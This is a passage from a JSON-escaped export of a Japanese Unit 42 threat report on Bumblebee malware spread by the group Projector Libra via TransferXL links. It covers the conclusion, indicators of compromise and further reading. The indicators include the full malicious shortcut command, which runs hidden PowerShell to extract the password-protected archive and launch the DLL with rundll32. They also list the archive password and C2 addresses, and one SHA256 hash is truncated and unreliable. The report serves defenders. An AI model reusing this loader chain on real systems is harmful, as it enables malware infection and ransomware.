<\/a>\u7d50\u8ad6<\/h2>\nBumblebee\u306f\u73fe\u5728\u3001\u304b\u3064\u3066BazarLoader\u3092\u914d\u5e03\u3057\u3066\u3044\u305fProjector Libra\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306b\u3088\u3063\u3066\u62e1\u6563\u3055\u308c\u3066\u3044\u307e\u3059\u3002Projector Libra\u306f\u3001TransferXL\u306a\u3069\u306e\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u4f7f\u3063\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u9001\u4fe1\u3059\u308b\u524d\u306b\u3001\u88ab\u5bb3\u8005\u30e1\u30fc\u30eb\u3068\u3084\u308a\u3068\u308a\u3059\u308b\u9ad8\u5ea6\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5c55\u958b\u3057\u307e\u3059\u3002<\/p>\n
\u73fe\u5728\u3001Projector Libra\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u306f\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u305f\u3081\u306eWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8\u3068\u96a0\u3057\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080ISO\u30a4\u30e1\u30fc\u30b8\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002Bumblebee\u306f\u3001Windows\u30db\u30b9\u30c8\u306b\u611f\u67d3\u3059\u308b\u3053\u3068\u3092\u76ee\u7684\u3068\u3057\u3066\u3044\u307e\u3059\u3002AD\u74b0\u5883\u3067\u306fCobalt Strike\u611f\u67d3\u3078\u767a\u5c55\u3059\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u305d\u3053\u304b\u3089\u3088\u308a\u6df1\u523b\u306a\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3064\u306a\u304c\u308b\u304a\u305d\u308c\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
\u672c\u30b1\u30fc\u30b9\u30b9\u30bf\u30c7\u30a3\u306f\u3001Projector Libra\u306eBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u304c\u88ab\u5bb3\u8005\u76ee\u7dda\u3067\u3069\u306e\u3088\u3046\u306b\u898b\u3048\u308b\u306e\u304b\u3092\u793a\u3057\u3066\u304a\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u62c5\u5f53\u8005\u304c\u3053\u306e\u8105\u5a01\u3092\u3088\u308a\u6df1\u304f\u7406\u89e3\u3057\u3001\u7d44\u7e54\u3092\u5b88\u308b\u3046\u3048\u3067\u5f79\u7acb\u3064\u3053\u3068\u3067\u3057\u3087\u3046\u3002<\/p>\n
Windows\u30e6\u30fc\u30b6\u30fc\u306f\u3001\u30b9\u30d1\u30e0\u30d5\u30a3\u30eb\u30bf\u30ea\u30f3\u30b0\u3068\u9069\u5207\u306a\u30b7\u30b9\u30c6\u30e0\u7ba1\u7406\u3001\u305d\u3057\u3066\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306b\u30d1\u30c3\u30c1\u3092\u9069\u7528\u3057\u3066\u6700\u65b0\u306e\u72b6\u614b\u3092\u4fdd\u3064\u3088\u3046\u306b\u3059\u308b\u3053\u3068\u3067\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e\u30ea\u30b9\u30af\u3092\u9632\u6b62\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001Cortex XDR<\/a>\u3068\u6b21\u4e16\u4ee3\u30d5\u30a1\u30a4\u30a2\u30a6\u30a9\u30fc\u30eb<\/a>\u3092WildFire<\/a>\u3084\u8105\u5a01\u9632\u5fa1<\/a>\u30b5\u30d6\u30b9\u30af\u30ea\u30d7\u30b7\u30e7\u30f3\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067Bumblebee\u306b\u5bfe\u3059\u308b\u3055\u3089\u306a\u308b\u4fdd\u8b77\u304c\u5f97\u3089\u308c\u307e\u3059\u3002<\/p>\n\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001infojapan@paloaltonetworks.com<\/a> \u307e\u3067\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u3044\u305f\u3060\u304f\u304b\u3001\u4e0b\u8a18\u306e\u96fb\u8a71\u756a\u53f7\u307e\u3067\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044(\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002<\/p>\n\n- \u5317\u7c73\u30d5\u30ea\u30fc\u30c0\u30a4\u30e4\u30eb: 866.486.4842 (866.4.UNIT42)<\/li>\n
- \u6b27\u5dde: +31.20.299.3130<\/li>\n
- \u30a2\u30b8\u30a2\u592a\u5e73\u6d0b: +65.6983.8730<\/li>\n
- \u65e5\u672c: +81.50.1790.0200<\/li>\n<\/ul>\n
\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u30d5\u30a1\u30a4\u30eb\u30b5\u30f3\u30d7\u30eb\u3084\u4fb5\u5bb3\u306e\u5146\u5019\u306a\u3069\u3092\u542b\u3080\u3053\u308c\u3089\u306e\u8abf\u67fb\u7d50\u679c\u3092Cyber Threat Alliance (CTA \u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9)\u306e\u30e1\u30f3\u30d0\u30fc\u3068\u5171\u6709\u3057\u307e\u3057\u305f\u3002CTA\u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3053\u306e\u30a4\u30f3\u30c6\u30ea\u30b8\u30a7\u30f3\u30b9\u3092\u4f7f\u7528\u3057\u3066\u3001\u304a\u5ba2\u69d8\u306b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u63d0\u4f9b\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u4f53\u7cfb\u7684\u306b\u963b\u5bb3\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f Cyber Threat Alliance <\/a>\u304b\u3089\u3054\u89a7\u304f\u3060\u3055\u3044\uff61<\/p>\n<\/a>IoC<\/h2>\nTransferXL\u306e\u30e1\u30fc\u30eb\u306e\u30ea\u30f3\u30af\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u60aa\u610f\u306e\u3042\u308bZIP\u30a2\u30fc\u30ab\u30a4\u30d6:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 58b9a5202a3cc96e86e24cd3c4b797d2efbf7d6b52461eef89b045aa1ff6c6ae<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,002,214\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: hxxps:\/\/www.transferxl[.]com\/download\/00jJFzX0NZqb7p?utm_source=downloadmail&utm_medium=e-mail<\/span>
\n\u6ce8\u8a18: \u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306f2022\u5e745\u670826\u65e5\u307e\u3067\u63d0\u4f9b\u3055\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u305d\u306e\u5f8c\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u306b\u3088\u3063\u3066\u81ea\u52d5\u7684\u306b\u524a\u9664\u3055\u308c\u307e\u3057\u305f\u3002<\/p>\n\u4e0a\u8a18\u306ezip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fISO\u30a4\u30e1\u30fc\u30b8:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 9be296fc9b23ad6aed19934123db9c3a2406d544156b7768374e0f9a75eb1549<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,333,248\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: SOW_2.iso<\/span><\/p>\n\u4e0a\u8a18\u306eISO\u30a4\u30e1\u30fc\u30b8\u306e\u5185\u5bb9:<\/strong><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: a10291506b884327307ae6d97dd6c043e9f2b6283ca3889dc2f5936fb2357862<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,604\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: Attachments.lnk<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308bWindows\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8
\n\u30b7\u30e7\u30fc\u30c8\u30ab\u30c3\u30c8: C:\\Windows\\System32\\cmd.exe \/c powershell -WindowStyle Hidden -Command \".\\7za.exe x archive.7z -pFhu$$57csa -o\\\"c:\\programdata\\\" -y > $null; rundll32 c:\\programdata\\19a.dll,oxgdXPSGPw<\/span><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 643,147\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: 7za.exe<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: ISO\u30a4\u30e1\u30fc\u30b8\u306b\u542b\u307e\u308c\u308b7-Zip\u30b9\u30bf\u30f3\u30c9\u30a2\u30ed\u30f3\u30b3\u30f3\u30bd\u30fc\u30eb\u306e\u30b3\u30d4\u30fc(\u6709\u5bb3\u3067\u306a\u3044)<\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: e62b9513784ae339351de089dd356742aa1c95971ad8c0cf126f4e72131df96e<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 690,970\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u540d: archive.7z<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: \u30d1\u30b9\u30ef\u30fc\u30c9\u3067\u4fdd\u8b77\u3055\u308c\u305f7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u3067\u3042\u308a\u3001Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306eDLL\u30d5\u30a1\u30a4\u30eb\u3092\u542b\u3080
\n\u30d1\u30b9\u30ef\u30fc\u30c9: Fhu$$57csa<\/span><\/p>\nSHA256\u30cf\u30c3\u30b7\u30e5: 024d048f8ce81e8784215dc6cf0e17
\n\u30d5\u30a1\u30a4\u30eb\u30b5\u30a4\u30ba: 1,174,016\u30d0\u30a4\u30c8
\n\u30d5\u30a1\u30a4\u30eb\u306e\u5834\u6240: C:\\ProgramData\\19a.dll<\/span>
\n\u30d5\u30a1\u30a4\u30eb\u306e\u8aac\u660e: 7-Zip\u30a2\u30fc\u30ab\u30a4\u30d6\u304b\u3089\u62bd\u51fa\u3055\u308c\u305fBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306e64\u30d3\u30c3\u30c8\u7248DLL\u30d5\u30a1\u30a4\u30eb
\n\u5b9f\u884c\u65b9\u6cd5: rundll32.exe<\/span> [filename]<\/em>, oxgdXPSGPw<\/span><\/p>\nBumblebee\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n54.38.139[.]20:443<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\nCobalt Strike\u306eC2\u30c8\u30e9\u30d5\u30a3\u30c3\u30af:<\/strong><\/p>\n45.153.243[.]142:443<\/span> - fuvataren[.]com<\/span> - HTTPS\u30c8\u30e9\u30d5\u30a3\u30c3\u30af<\/p>\n<\/a>\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/h2>\nBumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\nNew Bumblebee malware replaces Conti's BazarLoader in cyberattacks<\/a> - BleepingComputer
\nAdventures in the land of BumbleBee \u2013 a new malicious loader<\/a> - NCC Group
\nThis isn't Optimus Prime's Bumblebee but it's Still Transforming<\/a> - Proofpoint
\nThe chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection<\/a> - Eli Salem\u6c0f\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b
\n2022-04-05 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-03 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-05-31 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-09 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f
\n2022-06-14 - Cobalt Strike from Bumblebee infection<\/a> - @Unit42_Intel\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\nProjector Libra\u306e\u6d3b\u52d5\u306b\u95a2\u3059\u308b\u8ffd\u52a0\u60c5\u5831:<\/strong><\/p>\nExposing initial access broker with ties to Conti<\/a> - Threat Analysis Group (TAG)
\nBumblebee Malware from TransferXL URLs<\/a> - Internet Storm Center
\nEXOTIC LILY activity pushing Bumblebee on 2022-03-28<\/a> - @BushidoToken\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-11<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-16<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-05-24<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f
\nBumblebee activity on 2022-06-14<\/a> - @k3dg3\u306b\u3088\u308bTwitter\u6295\u7a3f<\/p>\n2022-08-10 16:30 JST \u82f1\u8a9e\u7248\u66f4\u65b0\u65e5 2022-08-03 19:30 PDT \u306e\u5185\u5bb9\u3092\u53cd\u6620\u00a0<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"\u6982\u8981 Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u30b0\u30eb\u30fc\u30d7Projector Libra\u306f\u3001EXOTIC LILY\u3068\u3082\u547c\u3070\u308c\u3001\u6a19\u7684\u7d44\u7e54\u3068\u30e1\u30fc\u30eb\u3067\u76f4\u63a5\u3084\u308a\u3068\u308a\u3057\u305f\u5f8c\u3001\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u5229\u7528\u3057\u3066\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u62e1\u6563\u3059\u308b<\/p>\n","protected":false},"author":35,"featured_media":134228,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4322,3057,4431],"tags":[5349,5535,4899,5353,5431,4519,5536],"product_categories":[4346,4442,4444,4448,4456,4465],"coauthors":[485],"class_list":["post-124401","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-threat-actor-groups","category-ransomware-ja","category-threat-actor-groups-ja","tag-bazarloader-ja","tag-bumblebee-ja","tag-cobalt-strike-ja","tag-conti-ransomware-ja","tag-malware-prevention-ja","tag-phishing-ja","tag-projector-libra","product_categories-advanced-threat-prevention","product_categories-advanced-threat-prevention-ja","product_categories-advanced-wildfire-ja","product_categories-cortex-xdr-ja","product_categories-next-generation-firewall-ja","product_categories-unit-42-incident-response-ja"],"yoast_head":"\n
Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3<\/title>\n<meta name=\"description\" content=\"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/\" \/>\n<meta property=\"og:locale\" content=\"ja_JP\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3\" \/>\n<meta property=\"og:description\" content=\"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-10T07:37:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-08-10T07:39:46+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Brad Duncan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","og_locale":"ja_JP","og_type":"article","og_title":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","og_description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","og_url":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","og_site_name":"Unit 42","article_published_time":"2022-08-10T07:37:31+00:00","article_modified_time":"2022-08-10T07:39:46+00:00","og_image":[{"width":1920,"height":900,"url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","type":"image\/jpeg"}],"author":"Brad Duncan","twitter_card":"summary_large_image","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#article","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"},"author":{"name":"Brad Duncan","@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b"},"headline":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","datePublished":"2022-08-10T07:37:31+00:00","dateModified":"2022-08-10T07:39:46+00:00","mainEntityOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"},"wordCount":701,"commentCount":0,"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","keywords":["BazarLoader","BumbleBee","Cobalt Strike","conti ransomware","Malware Prevention","phishing","projector libra"],"articleSection":["Threat Actor Groups","\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2","\u8105\u5a01\u30a2\u30af\u30bf\u30fc \u30b0\u30eb\u30fc\u30d7"],"inLanguage":"ja","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","url":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/","name":"Bumblebee\u306e\u98db\u7fd4: \u30e1\u30fc\u30eb\u306e\u3084\u308a\u3068\u308a\u304b\u3089\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3092\u60aa\u7528\u3057\u305f\u30de\u30eb\u30a6\u30a7\u30a2\u611f\u67d3","isPartOf":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"image":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage"},"thumbnailUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","datePublished":"2022-08-10T07:37:31+00:00","dateModified":"2022-08-10T07:39:46+00:00","author":{"@id":"https:\/\/unit42.paloaltonetworks.com\/#\/schema\/person\/66a2d5ad3475220e098802b8b82a6b5b"},"description":"Bumblebee\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3059\u308b\u72af\u7f6a\u30b0\u30eb\u30fc\u30d7 Projector Libra\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u5b9f\u30b5\u30f3\u30d7\u30eb\u3092\u3082\u3068\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f\u88ab\u5bb3\u8005\u3068\u30e1\u30fc\u30eb\u3092\u3084\u308a\u3068\u308a\u3057\u3001\u6b63\u898f\u30d5\u30a1\u30a4\u30eb\u5171\u6709\u30b5\u30fc\u30d3\u30b9\u3067\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u914d\u5e03\u3057\u307e\u3059\u3002\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u611f\u67d3\u306b\u3044\u305f\u308b\u4f8b\u3082\u3042\u308a\u307e\u3059\u3002","breadcrumb":{"@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#breadcrumb"},"inLanguage":"ja","potentialAction":[{"@type":"ReadAction","target":["https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/"]}]},{"@type":"ImageObject","inLanguage":"ja","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#primaryimage","url":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","contentUrl":"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/06_Business_email_compromise_Category_1920x900.jpg","width":1920,"height":900,"caption":"A digital image depicting numerous red email icons interspersed with white binary code against a backdrop of blue circuit-like patterns, suggesting a theme of business email compromise."},{"@type":"BreadcrumbList","@id":"https:\/\/unit42.paloaltonetworks.com\/ja\/bumblebee-malware-projector-libra\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/unit42.paloaltonetworks.com\/ja\/"},{"@type":"ListItem","position":2,"name":"Bumblebee\u306e\u98db\u7fd4: 